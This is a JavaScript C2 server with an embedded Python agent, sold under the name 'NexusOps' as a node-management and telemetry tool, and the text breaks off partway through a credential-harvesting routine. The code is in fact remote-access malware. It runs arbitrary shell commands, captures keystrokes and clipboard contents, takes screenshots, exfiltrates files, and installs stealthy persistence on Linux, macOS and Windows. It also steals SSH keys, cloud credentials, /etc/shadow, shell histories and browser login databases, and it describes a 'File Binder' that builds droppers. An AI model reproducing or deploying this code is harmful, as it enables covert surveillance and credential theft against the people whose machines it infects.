const express = require('express');
const http = require('http');
const WebSocket = require('ws');
const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
const fs = require('fs');

const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });

const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });

const PORT = process.env.PORT || 3000;
const PUBLIC_URL = process.env.PUBLIC_URL || null;
const DATA_DIR = path.join(__dirname, 'data');

// Ensure data directory exists
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });

app.use(cors());
app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));

// ── Auth ──
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
if (!AUTH_TOKEN) {
  console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
}
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
function authMiddleware(req, res, next) {
  if (!AUTH_TOKEN) return next();
  if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
  const h = req.headers.authorization || '';
  if (h === 'Bearer ' + AUTH_TOKEN) return next();
  if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
  return res.status(401).json({ error: 'unauthorized' });
}
app.use(authMiddleware);
app.get('/api/auth/check', (req, res) => {
  if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
  res.json({ ok: true, authRequired: true });
});



function getLocalIp() {
  const interfaces = os.networkInterfaces();
  for (const name of Object.keys(interfaces)) {
    for (const net of interfaces[name]) {
      if (net.family === 'IPv4' && !net.internal) {
        return net.address;
      }
    }
  }
  return 'localhost';
}

const SERVER_IP = getLocalIp();

const nodes = new Map();
const commandQueues = new Map();
const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
const exfiltratedFiles = new Map();   // id → { nodeId, hostname, filename, data, mime, timestamp }
const harvestedCredentials = [];       // { nodeId, hostname, type, data, timestamp }

// ── Persistence ──
let _saveLock = false;
function _atomicWrite(file, data) {
  const tmp = file + '.tmp';
  fs.writeFileSync(tmp, data);
  fs.renameSync(tmp, file);
}
function saveData() {
  if (_saveLock) return;
  _saveLock = true;
  try {
    _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
    _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
    _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
    _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
    _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
  } catch(e) { /* silent */ } finally {
    _saveLock = false;
  }
}

function loadData() {
  try {
    const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
    nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
    commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
    masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
    inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
    harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
  } catch(e) { /* first run */ }
}
loadData();

// Auto-save every 30 seconds
setInterval(saveData, 30000);

setInterval(() => {
  const now = Date.now();
  let changed = false;
  nodes.forEach((node, id) => {
    if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
      node.status = 'offline';
      changed = true;
    }
  });
  if (changed) {
    broadcastState();
  }
}, 5000);

let _lastSaveTime = 0;
function broadcastState() {
  const now = Date.now();
  if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
  const payload = JSON.stringify({
    type: 'NODES_UPDATE',
    serverIp: SERVER_IP,
    port: PORT,
    publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
    nodes: Array.from(nodes.values()),
    commandHistory: commandHistory.slice(-50),
    masterSystemLogs: masterSystemLogs.slice(-100),
    inputData: inputDataStore.slice(-200)
  });

  wss.clients.forEach(client => {
    if (client.readyState === WebSocket.OPEN) {
      client.send(payload);
    }
  });
}

wss.on('connection', (ws, req) => {
  // Auth check on WS upgrade
  if (AUTH_TOKEN) {
    const url = new URL(req.url, 'http://localhost');
    if (url.searchParams.get('token') !== AUTH_TOKEN) {
      ws.close(4401, 'unauthorized');
      return;
    }
  }
  ws.isAlive = true;
  ws.on('pong', () => { ws.isAlive = true; });
  ws.send(JSON.stringify({
    type: 'NODES_UPDATE',
    serverIp: SERVER_IP,
    port: PORT,
    publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
    nodes: Array.from(nodes.values()),
    commandHistory: commandHistory.slice(-50),
    masterSystemLogs: masterSystemLogs.slice(-100),
    inputData: inputDataStore.slice(-200)
  }));
});

// WS heartbeat: ping every 25s, drop dead clients
setInterval(() => {
  wss.clients.forEach(ws => {
    if (ws.isAlive === false) return ws.terminate();
    ws.isAlive = false;
    try { ws.ping(); } catch(e) {}
  });
}, 25000);

// REST API Endpoints

app.get('/api/status', (req, res) => {
  res.json({
    serverIp: SERVER_IP,
    port: PORT,
    serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
    totalNodes: nodes.size,
    onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
  });
});

app.get('/api/nodes', (req, res) => {
  res.json(Array.from(nodes.values()));
});

app.get('/api/logs', (req, res) => {
  res.json(masterSystemLogs.slice(-100));
});

// CSV Telemetry Export Endpoint
app.get('/api/export/csv', (req, res) => {
  let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
  nodes.forEach(node => {
    const tagsStr = (node.tags || []).join(';');
    csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
  });
  res.setHeader('Content-Type', 'text/csv');
  res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
  res.send(csv);
});

// Agent System Log Streaming Endpoint
app.post('/api/agent/logs', (req, res) => {
  const { nodeId, hostname, logs } = req.body;
  if (Array.isArray(logs)) {
    logs.forEach(logLine => {
      masterSystemLogs.push({
        id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
        nodeId,
        hostname: hostname || 'Unknown',
        timestamp: Date.now(),
        entry: logLine
      });
    });
    if (masterSystemLogs.length > 200) {
      masterSystemLogs.splice(0, masterSystemLogs.length - 200);
    }
    broadcastState();
  }
  res.json({ success: true });
});

// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
app.post('/api/agent/input-capture', (req, res) => {
  const { nodeId, hostname, events } = req.body;
  if (!nodeId || !Array.isArray(events)) {
    return res.status(400).json({ error: 'nodeId and events[] required' });
  }

  events.forEach(ev => {
    inputDataStore.push({
      id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
      nodeId,
      hostname: hostname || 'Unknown',
      timestamp: ev.timestamp || Date.now(),
      eventType: ev.eventType || 'unknown',
      data: ev.data || {},
      windowTitle: ev.windowTitle || '',
      processName: ev.processName || ''
    });
  });

  if (inputDataStore.length > MAX_INPUT_STORE) {
    inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
  }

  if (events.length > 0) {
    broadcastState();
  }

  res.json({ success: true, stored: events.length });
});

// Retrieve input capture data
app.get('/api/inputs', (req, res) => {
  const { nodeId, eventType, limit } = req.query;
  let filtered = inputDataStore;

  if (nodeId) {
    filtered = filtered.filter(e => e.nodeId === nodeId);
  }
  if (eventType) {
    filtered = filtered.filter(e => e.eventType === eventType);
  }

  const max = parseInt(limit) || 200;
  res.json(filtered.slice(-max));
});

// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ──
const AGENT_B64 = "#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""

import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse

last_log_check_time = 0
heartbeat_interval = 5  # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
quiet_mode = False  # Suppress banner and exec messages when True

def get_process_count():
    """Get real process count cross-platform."""
    system = platform.system().lower()
    try:
        if system == "linux" or system == "darwin":
            out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
            return len(out.splitlines()) - 1  # minus header
        elif system == "windows":
            out = subprocess.check_output(["tasklist"], text=True, timeout=5)
            return len(out.splitlines()) - 1
    except:
        pass
    return 0

def get_ip_address():
    """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
    system = platform.system().lower()
    try:
        if system == "darwin":
            # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
            out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
            for line in out.splitlines():
                if 'inet ' in line and '127.0.0.1' not in line:
                    parts = line.strip().split()
                    for i, p in enumerate(parts):
                        if p == 'inet' and i+1 < len(parts):
                            return parts[i+1]
        elif system == "linux":
            # Linux: try ip route to find primary interface
            out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
            for part in out.split():
                if part.startswith('src '):
                    return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
    except:
        pass
    # Fallback: connect to 8.8.8.8
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "127.0.0.1"

def get_cpu_usage():
    system = platform.system().lower()
    try:
        if system == "linux":
            with open('/proc/stat', 'r') as f:
                fields = [float(column) for column in f.readline().strip().split()[1:]]
            idle, total = fields[3], sum(fields)
            time.sleep(0.2)
            with open('/proc/stat', 'r') as f:
                fields2 = [float(column) for column in f.readline().strip().split()[1:]]
            idle2, total2 = fields2[3], sum(fields2)
            idle_delta = idle2 - idle
            total_delta = total2 - total
            if total_delta > 0:
                return round(100.0 * (1.0 - idle_delta / total_delta), 1)
        elif system == "darwin":
            out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
            for line in out.splitlines():
                if "CPU usage" in line:
                    parts = line.split()
                    user = float(parts[2].replace('%', ''))
                    sys_c = float(parts[4].replace('%', ''))
                    return round(user + sys_c, 1)
        elif system == "windows":
            out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
            lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
            if lines:
                return float(lines[0])
    except Exception:
        pass
    return 15.0

def get_memory_usage():
    system = platform.system().lower()
    try:
        if system == "linux":
            meminfo = {}
            with open('/proc/meminfo', 'r') as f:
                for line in f:
                    parts = line.split(':')
                    if len(parts) == 2:
                        key = parts[0].strip()
                        val = int(parts[1].split()[0])
                        meminfo[key] = val
            total = meminfo.get('MemTotal', 1)
            free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
            return round(((total - free) / total) * 100.0, 1)
        elif system == "darwin":
            # Use vm_stat for real memory usage on macOS
            try:
                out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
                pages = {}
                for line in out.splitlines():
                    if ':' in line:
                        k, v = line.split(':', 1)
                        try:
                            pages[k.strip()] = int(v.strip().rstrip('.'))
                        except ValueError:
                            pass
                page_size = 16384  # Default macOS page size
                free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
                used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
                total_pages = free + used + pages.get('Pages purgeable', 0)
                if total_pages > 0:
                    return round((used / total_pages) * 100.0, 1)
            except:
                pass
            # Fallback: use sysctl for hardware info
            try:
                out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
                total_bytes = int(out.strip())
                # Use vm_stat pages * page_size for used estimate
                vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
                import re
                active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
                wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
                used_bytes = (active + wired) * 16384
                if total_bytes > 0:
                    return round((used_bytes / total_bytes) * 100.0, 1)
            except:
                pass
            return 45.0
        elif system == "windows":
            out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
            d = {}
            for line in out.splitlines():
                if '=' in line:
                    k, v = line.split('=', 1)
                    d[k.strip()] = float(v.strip())
            if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
                total = d['TotalVisibleMemorySize']
                free = d['FreePhysicalMemory']
                return round(((total - free) / total) * 100.0, 1)
    except Exception:
        pass
    return 35.0

def get_disk_usage():
    try:
        if hasattr(os, 'statvfs'):
            st = os.statvfs('/')
            total = st.f_blocks * st.f_frsize
            free = st.f_bavail * st.f_frsize
            if total > 0:
                return round(((total - free) / total) * 100.0, 1)
    except Exception:
        pass
    return 40.0

def get_uptime_seconds():
    system = platform.system().lower()
    try:
        if system == "linux":
            with open('/proc/uptime', 'r') as f:
                return int(float(f.readline().split()[0]))
        elif system == "darwin":
            # macOS: use sysctl to get boot time, compute uptime
            out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
            # Format: { sec = 1234567890, usec = 0 } Thu Jan  1 00:00:00 1970
            import re
            m = re.search(r'sec\s*=\s*(\d+)', out)
            if m:
                boot_time = int(m.group(1))
                return int(time.time() - boot_time)
    except Exception:
        pass
    return 3600

def collect_recent_system_logs():
    system = platform.system().lower()
    log_entries = []
    try:
        if system == "linux":
            res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
            if res.returncode == 0 and res.stdout:
                for line in res.stdout.splitlines():
                    if line.strip():
                        log_entries.append(line.strip())
        elif system == "windows":
            res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
            if res.returncode == 0 and res.stdout:
                for line in res.stdout.splitlines():
                    if line.strip():
                        log_entries.append(line.strip())
    except Exception:
        pass
    return log_entries

def http_post(url, data_dict):
    json_bytes = json.dumps(data_dict).encode('utf-8')
    req = urllib.request.Request(
        url,
        data=json_bytes,
        headers={
            'Content-Type': 'application/json',
            'User-Agent': 'NexusOps-Agent/1.0'
        }
    )
    try:
        with urllib.request.urlopen(req, timeout=5) as response:
            res_text = response.read().decode('utf-8')
            return json.loads(res_text)
    except Exception as e:
        print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
        return None

def execute_structured_action(action_type, payload):
    global heartbeat_interval, node_tags
    system = platform.system().lower()
    
    if action_type == "raw_command":
        return run_shell(payload.get("command", ""))

    elif action_type == "manage_service":
        service = payload.get("service")
        action = payload.get("action")
        if system == "linux":
            cmd = f"systemctl {action} {service}"
        elif system == "windows":
            cmd = f"powershell {action}-Service -Name {service}"
        else:
            cmd = f"launchctl {action} {service}"
        return run_shell(cmd)

    elif action_type == "list_processes":
        if system == "linux":
            cmd = "ps aux --sort=-%cpu | head -n 15"
        elif system == "darwin":
            cmd = "ps aux -r | head -n 15"
        else:
            cmd = "tasklist"
        return run_shell(cmd)

    elif action_type == "kill_process":
        pid = payload.get("pid")
        cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
        return run_shell(cmd)

    elif action_type == "get_logs":
        lines = payload.get("lines", 50)
        cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
        return run_shell(cmd)

    elif action_type == "network_stats":
        cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
        return run_shell(cmd)

    # 10 NEW CROSS-PLATFORM FEATURES:
    elif action_type == "get_env_vars":
        env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
        return env_str, 0

    elif action_type == "get_disk_partitions":
        cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
        return run_shell(cmd)

    elif action_type == "get_network_interfaces":
        cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
        return run_shell(cmd)

    elif action_type == "get_active_connections":
        cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
        return run_shell(cmd)

    elif action_type == "get_hardware_specs":
        if system == "linux":
            cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
        elif system == "windows":
            cmd = "wmic cpu get name,numberofcores,maxclockspeed"
        else:
            cmd = "sysctl -a | grep machdep.cpu"
        return run_shell(cmd)

    elif action_type == "reboot_system":
        cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
        return run_shell(cmd)

    elif action_type == "set_heartbeat_rate":
        rate = int(payload.get("interval", 5))
        heartbeat_interval = max(2, min(60, rate))
        return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0

    elif action_type == "update_tags":
        tags_raw = payload.get("tags", "")
        node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
        return f"Node tags updated to: {node_tags}", 0

    elif action_type == "search_logs":
        pattern = payload.get("pattern", "error")
        cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
        return run_shell(cmd)

    elif action_type == "kill_agent":
        print("[!] Kill switch received — shutting down agent")
        os._exit(0)

    elif action_type == "ping_check":
        sent_ts = payload.get("timestamp", 0)
        latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
        return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0

    elif action_type == "download_file":
        MAX_EXFIL_SIZE = 50 * 1024 * 1024  # 50MB limit
        filepath = payload.get("path", "")
        if not filepath or not os.path.exists(filepath):
            return f"ERROR: file not found: {filepath}", 1
        try:
            fsize = os.path.getsize(filepath)
            if fsize > MAX_EXFIL_SIZE:
                return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
            with open(filepath, 'rb') as f:
                raw = f.read()
            import base64
            b64 = base64.b64encode(raw).decode('utf-8')
            # Determine MIME (basic)
            ext = os.path.splitext(filepath)[1].lower()
            mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
                        '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
                        '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
                        '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
                        '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
            mime = mime_map.get(ext, 'application/octet-stream')
            filename = os.path.basename(filepath)
            return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
        except Exception as e:
            return f"ERROR reading file: {e}", 1

    elif action_type == "screenshot":
        try:
            import base64
            ss_path = "/tmp/.nexus-ss.png"
            if os.path.exists(ss_path):
                os.remove(ss_path)

            if system == "linux":
                for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
                    if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
                        if tool == "import":
                            subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        elif tool == "scrot":
                            subprocess.run(["scrot", ss_path], timeout=10)
                        elif tool == "gnome-screenshot":
                            subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
                        elif tool == "spectacle":
                            subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
                        if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                            break
                else:
                    subprocess.run(["python3", "-c",
                        "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
                        "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
                        "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
                        timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            elif system == "darwin":
                # Try multiple approaches for macOS screenshot
                captured = False
                # Method 1: direct screencapture (needs Screen Recording TCC permission)
                for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
                    r = subprocess.run(["screencapture"] + flags + [ss_path],
                                       timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                        captured = True
                        break
                    if os.path.exists(ss_path):
                        os.remove(ss_path)
                # Method 2: try via osascript (sometimes bypasses TCC for background processes)
                if not captured:
                    for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
                        flag_str = " ".join(flags)
                        r = subprocess.run(["osascript", "-e",
                            f'do shell script "screencapture {flag_str} {ss_path}"'],
                            timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                            captured = True
                            break
                        if os.path.exists(ss_path):
                            os.remove(ss_path)

            elif system == "windows":
                subprocess.run(["powershell", "-Command",
                    "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
                    "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
                    "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
                    "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
                    timeout=15)
                win_path = "C:\\Windows\\Temp\\nexus-ss.png"
                if os.path.exists(win_path):
                    os.replace(win_path, ss_path)

            if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                with open(ss_path, 'rb') as f:
                    b64 = base64.b64encode(f.read()).decode('utf-8')
                os.remove(ss_path)
                return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
            return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
        except Exception as e:
            return f"ERROR screenshot: {e}", 1

    elif action_type == "update_agent":
        new_url = payload.get("url", "")
        if not new_url:
            return "ERROR: no update URL provided", 1
        try:
            my_path = os.path.abspath(__file__)
            bak = my_path + ".bak"
            os.rename(my_path, bak)
            urllib.request.urlretrieve(new_url, my_path)
            os.chmod(my_path, 0o755)
            os.remove(bak)
            return "Agent updated successfully. Restarting...", 0
        except Exception as e:
            # Restore backup
            if os.path.exists(bak):
                os.rename(bak, my_path)
            return f"ERROR update failed: {e}", 1

    elif action_type == "ensure_persistence":
        results = []
        if system == "linux":
            # crontab
            try:
                import shlex
                srv = shlex.quote(payload.get('server_url',''))
                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
                existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
                if cron_line.split('@reboot')[1].strip() not in existing:
                    subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
                    results.append("crontab: added @reboot entry")
                else:
                    results.append("crontab: already present")
            except: results.append("crontab: failed")
            # .bashrc
            try:
                bashrc = os.path.expanduser("~/.bashrc")
                hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
                with open(bashrc, 'a+') as f:
                    f.seek(0)
                    if 'nexus-agent' not in f.read():
                        f.write(hook)
                results.append("bashrc: hook installed")
            except: results.append("bashrc: failed")
            # autostart .desktop
            try:
                ad = os.path.expanduser("~/.config/autostart")
                os.makedirs(ad, exist_ok=True)
                with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
                    f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
                results.append("autostart: .desktop created")
            except: results.append("autostart: failed")
        elif system == "darwin":
            try:
                plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
                os.makedirs(os.path.dirname(plist), exist_ok=True)
                plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
                with open(plist, 'w') as f: f.write(plist_content)
                subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                results.append("launchd: bootstrapped + kickstarted")
            except: results.append("launchd: failed")
            # crontab for macOS too
            try:
                import shlex
                srv = shlex.quote(payload.get('server_url',''))
                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
                subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
                results.append("crontab: added")
            except: results.append("crontab: failed")
        elif system == "windows":
            agent_path = os.path.abspath(__file__)
            srv = payload.get("server_url", "")
            try:
                task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
                subprocess.run(task_cmd, shell=True, timeout=10)
                results.append("schtasks: scheduled task created")
            except: results.append("schtasks: failed")
            try:
                reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
                subprocess.run(reg_cmd, shell=True, timeout=10)
                results.append("registry: Run key added")
            except: results.append("registry: failed")
        return "Persistence results: " + "; ".join(results), 0

    elif action_type == "harvest_credentials":
        creds = []
        home = os.path.expanduser("~")
        # Shell history
        for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
            p = os.path.expanduser(hist)
            if os.path.exists(p):
                try:
                    with open(p, 'r', errors='ignore') as f:
                        content = f.read()[-20000:]
                    creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
                except: pass
        # SSH keys
        ssh_dir = os.path.join(home, ".ssh")
        if os.path.exists(ssh_dir):
            for fn in os.listdir(ssh_dir):
                fp = os.path.join(ssh_dir, fn)
                if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
                    try:
                        with open(fp, 'r', errors='ignore') as f:
                            creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
                    except: pass
        # AWS / cloud credentials
        for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
                    "~/.azure/accessTokens.json", "~/.docker/config.json"]:
            p = os.path.expanduser(cf)
            if os.path.exists(p):
                try:
                    with open(p, 'r', errors='ignore') as f:
                        creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
                except: pass
        # /etc/shadow (if root)
        if os.path.exists("/etc/shadow"):
            try:
                with open("/etc/shadow", 'r') as f:
                    creds.append({"type": "system:shadow", "data": f.read()[:5000]})
            except: pass
        # Browser cookie/saved-login DBs (common paths)
        browser_paths = []
        if system == "linux":
            browser_paths = [
                os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
                os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
                os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
                os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
                os.path.expanduser("~/.config/chromium/Default/Cookies"),
                os.path.expanduser("~/.config/chromium/Default/Login Data"),
                os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
            ]
        elif system == "darwin":
            browser_paths = [
                os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
                os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
                os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
            ]
        elif system == "windows":
            browser_paths = [
                os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
                os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
                os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
            ]
        import glob
        for pattern in browser_paths:
